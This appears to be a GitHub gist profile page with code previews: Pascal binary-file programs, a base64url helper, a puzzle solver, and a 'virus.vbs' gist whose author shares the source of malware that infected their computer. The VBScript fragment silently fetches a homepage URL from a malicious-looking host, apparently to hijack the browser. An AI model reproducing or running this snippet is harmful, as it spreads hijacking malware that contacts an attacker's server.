Skip to content

Instantly share code, notes, and snippets.

View codermapuche's full-sized avatar

Nehuen Prados codermapuche

View GitHub Profile
program ArchivoBinario;
uses SysUtils;
type Buffer = Array of Byte; (* Definimos el tipo de datos Buffer como un arreglo de bytes *)
const ContadorBytes = 2; (* Bytes usados para el BufferContador (un word tiene 2 bytes y no usa signo) *)
ContadorNumeroMaximo = 65535; (* 2 ^ (8 * ContadorBytes) *)
var BufferContador: Array [0 .. ContadorBytes - 1] of Byte;
@codermapuche
codermapuche / virus.vbs
Created August 29, 2017 16:02
Virus que me estuvo infectando la compu pero que finalmente puede eliminar, muy interesante el código fuente.
Dim xmlHttp:
Dim homePageUrl:
Set xmlHttp = CreateObject("MSXML2.XMLHTTP"):
xmlHttp.open "GET", "http://bbtbfr.pw/GetHPHost?"&Timer(), False:
On Error Resume Next:
xmlHttp.send:
if xmlHttp.status = 200 then:
homePageUrl= xmlHttp.responseText:
program ArchivoBinario;
uses SysUtils;
var Archivo: File;
Asteriscos: String;
Cantidad: Word;
Idx: Word;
function safe64(data) {
if ( !Buffer.isBuffer(data) ) {
if (typeof data !== 'string') {
data = Buffer.from(JSON.stringify(data)).toString('base64');
}
} else {
data = data.toString('base64');
}
return data.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, '');
@codermapuche
codermapuche / resolver26.js
Created July 31, 2019 19:30
Encuentra las 72 soluciones al puzzle 26 en menos de 20 segundos. (https://www.youtube.com/watch?v=GsxzGqARjtw)
function permutar(items, cb) {
var length = items.length,
c = new Array(length).fill(0),
i = 1, k, p, t = 0;
cb(items, ++t);
while (i < length) {
if (c[i] < i) {
k = i % 2 && c[i];
p = items[i];